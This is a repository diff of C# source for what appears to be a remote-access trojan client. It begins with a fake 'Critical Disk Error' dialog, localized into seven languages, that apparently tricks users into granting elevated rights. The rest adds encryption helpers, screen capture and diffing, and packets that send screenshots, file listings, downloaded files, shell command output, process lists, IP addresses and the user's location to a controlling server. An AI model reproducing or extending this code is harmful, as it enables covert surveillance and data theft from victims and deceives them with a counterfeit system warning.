lblHead.Text = "Этот файл или каталог поврежден и нечитаемый";
|
||||
lblText.Text = "Несколько поврежденные файлы были найдены в каталоге 'Мои документы'. Для\nтогочтобы предотвратить потерю данных, пожалуйста позвольте Windows\nвосстановить эти файлы.\n\n" +
|
||||
"Поврежденный каталог: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
|
||||
"Количество поврежденных файлов: 4";
|
||||
btnRestore.Text = "Восстановление файлов";
|
||||
btnRestoreAndCheck.Text = "Восстановить файлы и проверять диск для ошибок";
|
||||
linkError.Text = "Подробнее об этой ошибке";
|
||||
break;
|
||||
case "FI": // by Perfectionist & Qmz_
|
||||
this.Text = "Kriittinen levyvirhe";
|
||||
lblHead.Text = "Tiedosto tai hakemisto on vioittunut ja lukukelvoton";
|
||||
lblText.Text = "Useita vioittuineita tiedostoja on löytynyt kansiosta 'Omat tiedostot'. Ehkäistäksesi\nvakavan tietojen menetyksen, salli Windowsin palauttaa nämä tiedostot.\n\n" +
|
||||
"Vioittunut kansio: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
|
||||
"Korruptoituneiden tiedostojen määrä: 4";
|
||||
btnRestore.Text= "Palauta tiedostot";
|
||||
btnRestoreAndCheck.Text = "Palauta tiedostot ja aloita virheiden etsiminen";
|
||||
linkError.Text = "Lisätietoja virheestä";
|
||||
break;
|
||||
case "NL": // by DeadLine
|
||||
this.Text = "Kritieke schrijffout";
|
||||
lblHead.Text = "Het bestand of pad is corrupt of onleesbaar";
|
||||
lblText.Text = "Meerdere corrupte bestanden zijn gevonden in het pad 'Mijn Documenten'. Gelieve de\nbestanden door Windows te laten herstellen om dataverlies te voorkomen.\n\n" +
|
||||
"Corrupt pad: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
|
||||
"Aantal corrupte bestanden: 4";
|
||||
btnRestore.Text = "Herstel bestanden";
|
||||
btnRestoreAndCheck.Text = "Herstel bestanden en controleer op schijffouten";
|
||||
linkError.Text = "Meer informatie over deze fout";
|
||||
break;
|
||||
case "FR": // by Increment
|
||||
this.Text = "Erreur Critique du Disque ";
|
||||
lblHead.Text = "Le fichier ou le dossier spécifié est corrompu";
|
||||
lblText.Text = "De nombreux fichiers corrompus ont été trouvés dans le dossier 'Mes Documents'. Pour\néviter toute perte de donnée, veuillez autoriser Windows à restaurer vos fichiers et\ndonnées.\n\n" +
|
||||
"Dossier corrompu : " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
|
||||
"Nombre de fichier(s) corrompu(s) : 4";
|
||||
btnRestore.Text = "Restaurer les fichiers";
|
||||
btnRestoreAndCheck.Text = "Restaurer les fichiers et vérifier des érreurs sur le disque ";
|
||||
linkError.Text = "En savoir plus à propos de cette erreurs";
|
||||
break;
|
||||
case "ES": // by Xenocode
|
||||
this.Text = "Error critico del disco duro";
|
||||
lblHead.Text = "El archivo o directorio está dañado y no se puede leer";
|
||||
lblText.Text = "Algunos archivos dañados múltiples han sido encontrados en el directorio 'Mis Documentos'.\nPara prevenir la pérdida grave de datos, permita por favor de Windows para recuperar\nestos archivos.\n\n" +
|
||||
"Directorio dañado : " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
|
||||
"Archivos corrupots : 4";
|
||||
btnRestore.Text = "Recuperar archivos";
|
||||
btnRestoreAndCheck.Text = "Reparar archivos y comprobar si hay errores en el disco dur";
|
||||
linkError.Text = "Detalles de Errores";
|
||||
break;
|
||||
case "DE":
|
||||
this.Text = "Kritischer Festplatten Fehler";
|
||||
lblHead.Text = "Die Datei oder das Verzeichnis ist beschädigt und nicht lesbar";
|
||||
lblText.Text = "Es wurden mehrere beschädigte Dateien in dem Verzeichnis 'Meine Dokumente' gefunden.\nUm einen ernsthaften Datenverlust zu vermeiden, erlauben Sie bitte Windows, die Dateien\nwiederherzustellen.\n\n" +
|
||||
"Beschädigtes Verzeichnis: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
|
||||
"Anzahl der beschädigten Dateien: 4";
|
||||
btnRestore.Text = "Dateien wiederherstellen";
|
||||
btnRestoreAndCheck.Text = "Dateien wiederherstellen und Festplatte auf Fehler überprüfen";
|
||||
linkError.Text = "Mehr Informationen zu diesem Fehler";
|
||||
break;
|
||||
default: // this includes GB, US and all other
|
||||
this.Text = "Critical Disk Error";
|
||||
lblHead.Text = "The file or directory is corrupted and unreadable";
|
||||
lblText.Text = "Multiple corrupted files have been found in the directory 'My Documents'. To prevent\nserious loss of data, please allow Windows to restore these files.\n\n" +
|
||||
"Corrupted directory: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
|
||||
"Corrupted files count: 4";
|
||||
btnRestore.Text = "Restore files";
|
||||
btnRestoreAndCheck.Text = "Restore files and check disk for errors";
|
||||
linkError.Text = "More details about this error";
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void frmElevation_Paint(object sender, PaintEventArgs e)
|
||||
{
|
||||
e.Graphics.DrawLine(Pens.Gray, new Point(0, panelBot.Location.Y - 1), new Point(this.Width, panelBot.Location.Y - 1));
|
||||
}
|
||||
|
||||
private void btnRestore_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void btnRestoreAndCheck_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void linkError_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
|
||||
{
|
||||
System.Diagnostics.Process.Start("http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx");
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,120 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
|
@ -0,0 +1,70 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Core.Encryption
|
||||
{
|
||||
class AES
|
||||
{
|
||||
public static string Encrypt(string input, string keyy)
|
||||
{
|
||||
RijndaelManaged rd = new RijndaelManaged();
|
||||
|
||||
MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
|
||||
byte[] key = md5.ComputeHash(Encoding.UTF8.GetBytes(keyy));
|
||||
|
||||
md5.Clear();
|
||||
rd.Key = key;
|
||||
rd.GenerateIV();
|
||||
|
||||
byte[] iv = rd.IV;
|
||||
MemoryStream ms = new MemoryStream();
|
||||
|
||||
ms.Write(iv, 0, iv.Length);
|
||||
|
||||
CryptoStream cs = new CryptoStream(ms, rd.CreateEncryptor(), CryptoStreamMode.Write);
|
||||
byte[] data = System.Text.Encoding.UTF8.GetBytes(input);
|
||||
|
||||
cs.Write(data, 0, data.Length);
|
||||
cs.FlushFinalBlock();
|
||||
|
||||
byte[] encdata = ms.ToArray();
|
||||
|
||||
cs.Close();
|
||||
rd.Clear();
|
||||
ms.Close();
|
||||
|
||||
return Convert.ToBase64String(encdata);
|
||||
}
|
||||
|
||||
public static string Decrypt(string input, string keyy)
|
||||
{
|
||||
RijndaelManaged rd = new RijndaelManaged();
|
||||
int rijndaelIvLength = 16;
|
||||
MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
|
||||
byte[] key = md5.ComputeHash(Encoding.UTF8.GetBytes(keyy));
|
||||
|
||||
md5.Clear();
|
||||
|
||||
byte[] encdata = Convert.FromBase64String(input);
|
||||
MemoryStream ms = new MemoryStream(encdata);
|
||||
byte[] iv = new byte[16];
|
||||
|
||||
ms.Read(iv, 0, rijndaelIvLength);
|
||||
rd.IV = iv;
|
||||
rd.Key = key;
|
||||
|
||||
CryptoStream cs = new CryptoStream(ms, rd.CreateDecryptor(), CryptoStreamMode.Read);
|
||||
|
||||
byte[] data = new byte[ms.Length - rijndaelIvLength + 1];
|
||||
int i = cs.Read(data, 0, data.Length);
|
||||
|
||||
cs.Close();
|
||||
rd.Clear();
|
||||
ms.Close();
|
||||
|
||||
return System.Text.Encoding.UTF8.GetString(data, 0, i);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,49 @@
|
|||
using System.Text;
|
||||
|
||||
namespace Core.Encryption
|
||||
{
|
||||
class RC4
|
||||
{
|
||||
public static byte[] Encrypt(byte[] input, string key)
|
||||
{
|
||||
byte[] bKey = System.Text.Encoding.UTF8.GetBytes(key);
|
||||
byte[] s = new byte[256];
|
||||
byte[] k = new byte[256];
|
||||
byte temp;
|
||||
int i, j;
|
||||
|
||||
for (i = 0; i < 256; i++)
|
||||
{
|
||||
s[i] = (byte)i;
|
||||
k[i] = bKey[i % bKey.GetLength(0)];
|
||||
}
|
||||
|
||||
j = 0;
|
||||
for (i = 0; i < 256; i++)
|
||||
{
|
||||
j = (j + s[i] + k[i]) % 256;
|
||||
temp = s[i];
|
||||
s[i] = s[j];
|
||||
s[j] = temp;
|
||||
}
|
||||
|
||||
i = j = 0;
|
||||
for (int x = 0; x < input.GetLength(0); x++)
|
||||
{
|
||||
i = (i + 1) % 256;
|
||||
j = (j + s[i]) % 256;
|
||||
temp = s[i];
|
||||
s[i] = s[j];
|
||||
s[j] = temp;
|
||||
int t = (s[i] + s[j]) % 256;
|
||||
input[x] ^= s[t];
|
||||
}
|
||||
return input;
|
||||
}
|
||||
|
||||
public static byte[] Decrypt(byte[] input, string key)
|
||||
{
|
||||
return Encrypt(input, key);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,166 @@
|
|||
using System;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Core
|
||||
{
|
||||
class Helper
|
||||
{
|
||||
private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
private static Random _rnd = new Random(Environment.TickCount);
|
||||
|
||||
public static string GetRandomFilename(int length, string extension)
|
||||
{
|
||||
|
||||
char[] tempChars = new char[length];
|
||||
for (int i = 0; i < length; i++)
|
||||
tempChars[i] = CHARS[_rnd.Next(CHARS.Length)];
|
||||
|
||||
return new string(tempChars) + extension;
|
||||
}
|
||||
|
||||
public static string GetRandomName(int length)
|
||||
{
|
||||
char[] tempChars = new char[length];
|
||||
for (int i = 0; i < length; i++)
|
||||
tempChars[i] = CHARS[_rnd.Next(CHARS.Length)];
|
||||
|
||||
return new string(tempChars);
|
||||
}
|
||||
|
||||
public static byte[] CImgToByte(Image image, System.Drawing.Imaging.ImageFormat format)
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
image.Save(ms, format);
|
||||
return ms.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
public static Bitmap GetDesktop(int Mode, int Number)
|
||||
{
|
||||
Rectangle bounds;
|
||||
Bitmap screenshot;
|
||||
Graphics graph;
|
||||
|
||||
bounds = Screen.AllScreens[Number].Bounds;
|
||||
screenshot = new Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
|
||||
graph = Graphics.FromImage(screenshot);
|
||||
|
||||
if (Mode == 1)
|
||||
graph.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighSpeed;
|
||||
else if (Mode == 2)
|
||||
graph.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighQuality;
|
||||
|
||||
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy);
|
||||
|
||||
return screenshot;
|
||||
}
|
||||
|
||||
public static unsafe Bitmap GetDiffDesktop(Bitmap bmp, Bitmap bmp2)
|
||||
{
|
||||
if (bmp.Width != bmp2.Width || bmp.Height != bmp2.Height)
|
||||
throw new Exception("Sizes must be equal.");
|
||||
|
||||
Bitmap bmpRes = null;
|
||||
|
||||
System.Drawing.Imaging.BitmapData bmData = null;
|
||||
System.Drawing.Imaging.BitmapData bmData2 = null;
|
||||
System.Drawing.Imaging.BitmapData bmDataRes = null;
|
||||
|
||||
try
|
||||
{
|
||||
bmpRes = new Bitmap(bmp.Width, bmp.Height);
|
||||
|
||||
bmData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), System.Drawing.Imaging.ImageLockMode.ReadOnly, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
|
||||
bmData2 = bmp2.LockBits(new Rectangle(0, 0, bmp2.Width, bmp2.Height), System.Drawing.Imaging.ImageLockMode.ReadOnly, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
|
||||
bmDataRes = bmpRes.LockBits(new Rectangle(0, 0, bmpRes.Width, bmpRes.Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
|
||||
|
||||
IntPtr scan0 = bmData.Scan0;
|
||||
IntPtr scan02 = bmData2.Scan0;
|
||||
IntPtr scan0Res = bmDataRes.Scan0;
|
||||
|
||||
int stride = bmData.Stride;
|
||||
int stride2 = bmData2.Stride;
|
||||
int strideRes = bmDataRes.Stride;
|
||||
|
||||
int nWidth = bmp.Width;
|
||||
int nHeight = bmp.Height;
|
||||
|
||||
for (int y = 0; y < nHeight; y++)
|
||||
{
|
||||
//define the pointers inside the first loop for parallelizing
|
||||
byte* p = (byte*)scan0.ToPointer();
|
||||
p += y * stride;
|
||||
byte* p2 = (byte*)scan02.ToPointer();
|
||||
p2 += y * stride2;
|
||||
byte* pRes = (byte*)scan0Res.ToPointer();
|
||||
pRes += y * strideRes;
|
||||
|
||||
for (int x = 0; x < nWidth; x++)
|
||||
{
|
||||
//always get the complete pixel when differences are found
|
||||
if (p[0] != p2[0] || p[1] != p2[1] || p[2] != p2[2])
|
||||
{
|
||||
pRes[0] = p2[0];
|
||||
pRes[1] = p2[1];
|
||||
pRes[2] = p2[2];
|
||||
|
||||
//alpha (opacity)
|
||||
pRes[3] = p2[3];
|
||||
}
|
||||
|
||||
p += 4;
|
||||
p2 += 4;
|
||||
pRes += 4;
|
||||
}
|
||||
}
|
||||
|
||||
bmp.UnlockBits(bmData);
|
||||
bmp2.UnlockBits(bmData2);
|
||||
bmpRes.UnlockBits(bmDataRes);
|
||||
}
|
||||
catch
|
||||
{
|
||||
if (bmData != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
bmp.UnlockBits(bmData);
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
|
||||
if (bmData2 != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
bmp2.UnlockBits(bmData2);
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
|
||||
if (bmDataRes != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
bmpRes.UnlockBits(bmDataRes);
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
|
||||
if (bmpRes != null)
|
||||
{
|
||||
bmpRes.Dispose();
|
||||
bmpRes = null;
|
||||
}
|
||||
}
|
||||
|
||||
return bmpRes;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class DesktopResponse : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public byte[] Image { get; set; }
|
||||
|
||||
public DesktopResponse() { }
|
||||
public DesktopResponse(byte[] image)
|
||||
{
|
||||
this.Image = image;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<DesktopResponse>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class DirectoryResponse : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string[] Files { get; set; }
|
||||
|
||||
[ProtoMember(2)]
|
||||
public string[] Folders { get; set; }
|
||||
|
||||
[ProtoMember(3)]
|
||||
public long[] FilesSize { get; set; }
|
||||
|
||||
public DirectoryResponse() { }
|
||||
public DirectoryResponse(string[] files, string[] folders, long[] filessize)
|
||||
{
|
||||
this.Files = files;
|
||||
this.Folders = folders;
|
||||
this.FilesSize = filessize;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<DirectoryResponse>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class DownloadFileResponse : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string Filename { get; set; }
|
||||
|
||||
[ProtoMember(2)]
|
||||
public byte[] FileByte { get; set; }
|
||||
|
||||
[ProtoMember(3)]
|
||||
public int ID { get; set; }
|
||||
|
||||
public DownloadFileResponse() { }
|
||||
public DownloadFileResponse(string filename, byte[] filebyte, int id)
|
||||
{
|
||||
this.Filename = filename;
|
||||
this.FileByte = filebyte;
|
||||
this.ID = id;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<DownloadFileResponse>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class DrivesResponse : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string[] Drives { get; set; }
|
||||
|
||||
public DrivesResponse() { }
|
||||
public DrivesResponse(string[] drives)
|
||||
{
|
||||
this.Drives = drives;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<DrivesResponse>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class GetProcessesResponse : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string[] Processes { get; set; }
|
||||
|
||||
[ProtoMember(2)]
|
||||
public int[] IDs { get; set; }
|
||||
|
||||
[ProtoMember(3)]
|
||||
public string[] Titles { get; set; }
|
||||
|
||||
public GetProcessesResponse() { }
|
||||
public GetProcessesResponse(string[] processes, int[] ids, string[] titles)
|
||||
{
|
||||
this.Processes = processes;
|
||||
this.IDs = ids;
|
||||
this.Titles = titles;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<GetProcessesResponse>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,50 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class GetSystemInfoResponse : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string CPU { get; set; }
|
||||
|
||||
[ProtoMember(2)]
|
||||
public int RAM { get; set; }
|
||||
|
||||
[ProtoMember(3)]
|
||||
public string GPU { get; set; }
|
||||
|
||||
[ProtoMember(4)]
|
||||
public string Username { get; set; }
|
||||
|
||||
[ProtoMember(5)]
|
||||
public string PCName { get; set; }
|
||||
|
||||
[ProtoMember(6)]
|
||||
public string Uptime { get; set; }
|
||||
|
||||
[ProtoMember(7)]
|
||||
public string LAN { get; set; }
|
||||
|
||||
[ProtoMember(8)]
|
||||
public string WAN { get; set; }
|
||||
|
||||
public GetSystemInfoResponse() { }
|
||||
public GetSystemInfoResponse(string cpu, int ram, string gpu, string username, string pcname, string uptime, string lan, string wan)
|
||||
{
|
||||
this.CPU = cpu;
|
||||
this.RAM = ram;
|
||||
this.GPU = gpu;
|
||||
this.Username = username;
|
||||
this.PCName = pcname;
|
||||
this.Uptime = uptime;
|
||||
this.LAN = lan;
|
||||
this.WAN = wan;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<GetSystemInfoResponse>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class MonitorsResponse : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public int Number { get; set; }
|
||||
|
||||
public MonitorsResponse() { }
|
||||
public MonitorsResponse(int number)
|
||||
{
|
||||
this.Number = number;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<MonitorsResponse>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class ShellCommandResponse : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string Output { get; set; }
|
||||
|
||||
public ShellCommandResponse() { }
|
||||
public ShellCommandResponse(string output)
|
||||
{
|
||||
this.Output = output;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<ShellCommandResponse>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class Status : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string Message { get; set; }
|
||||
|
||||
public Status() { }
|
||||
public Status(string message)
|
||||
{
|
||||
Message = message;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<Status>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class UserStatus : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string Message { get; set; }
|
||||
|
||||
public UserStatus() { }
|
||||
public UserStatus(string message)
|
||||
{
|
||||
Message = message;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<UserStatus>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,50 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class Initialize : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public string Version { get; set; }
|
||||
|
||||
[ProtoMember(2)]
|
||||
public string OperatingSystem { get; set; }
|
||||
|
||||
[ProtoMember(3)]
|
||||
public string AccountType { get; set; }
|
||||
|
||||
[ProtoMember(4)]
|
||||
public string Country { get; set; }
|
||||
|
||||
[ProtoMember(5)]
|
||||
public string CountryCode { get; set; }
|
||||
|
||||
[ProtoMember(6)]
|
||||
public string Region { get; set; }
|
||||
|
||||
[ProtoMember(7)]
|
||||
public string City { get; set; }
|
||||
|
||||
[ProtoMember(8)]
|
||||
public int ImageIndex { get; set; }
|
||||
|
||||
public Initialize() { }
|
||||
public Initialize(string version, string operatingsystem, string accounttype, string country, string countrycode, string region, string city, int imageindex)
|
||||
{
|
||||
Version = version;
|
||||
OperatingSystem = operatingsystem;
|
||||
AccountType = accounttype;
|
||||
Country = country;
|
||||
CountryCode = countrycode;
|
||||
Region = region;
|
||||
City = city;
|
||||
ImageIndex = imageindex;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<Initialize>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,20 @@
|
|||
using Core.Packets;
|
||||
using ProtoBuf;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace Core.Packets.ClientPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
internal class KeepAliveResponse : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
|
||||
public DateTime TimeSent { get; set; }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send<KeepAliveResponse>(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,7 @@
|
|||
namespace Core.Packets
|
||||
{
|
||||
public interface IPacket
|
||||
{
|
||||
void Execute(Client client);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using ProtoBuf;
|
||||
|
||||
namespace Core.Packets.ServerPackets
|
||||
{
|
||||
[ProtoContract]
|
||||
public class Desktop : IPacket
|
||||
{
|
||||
[ProtoMember(1)]
